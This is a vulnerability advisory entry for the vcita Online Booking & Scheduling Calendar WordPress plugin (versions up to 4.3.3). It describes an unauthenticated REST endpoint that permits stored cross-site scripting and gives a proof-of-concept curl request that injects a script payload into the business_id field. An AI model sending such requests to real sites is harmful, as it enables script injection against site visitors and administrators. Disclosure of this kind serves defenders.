Lucene search

K
wpexploitWpvulndbWPEX-ID:7182E20B-94F0-4337-9910-C23EDB64EEC3
HistoryJun 02, 2023 - 12:00 a.m.

Online Booking & Scheduling Calendar for WordPress by vcita <= 4.3.3 - Missing authentication

2023-06-0200:00:00
wpvulndb
98
wordpress
vcita
authentication
vulnerability
scheduling calendar

EPSS

0.001

Percentile

41.3%

The plugin does not validate authorization in its vcita-wordpress/v1/actions/auth REST route endpoint, allowing an unauthenticated attacker to set the connection parameters for the vcita account connection, including business_name and email address. Furthermore, the variables are stored in the database without any validation and are later inserted into the website without escaping or sanitation, leading to a stored cross-site scripting vulnerability.

curl https://example.com/wp-json/vcita-wordpress/v1/actions/auth \
   –json '{
       "success": true,
       "user_data": {
           "business_id": "\"; alert(1); //",
           "business_name": "Evil Eve",
           "email": "[email protected]"
       }
   }'

EPSS

0.001

Percentile

41.3%

Related for WPEX-ID:7182E20B-94F0-4337-9910-C23EDB64EEC3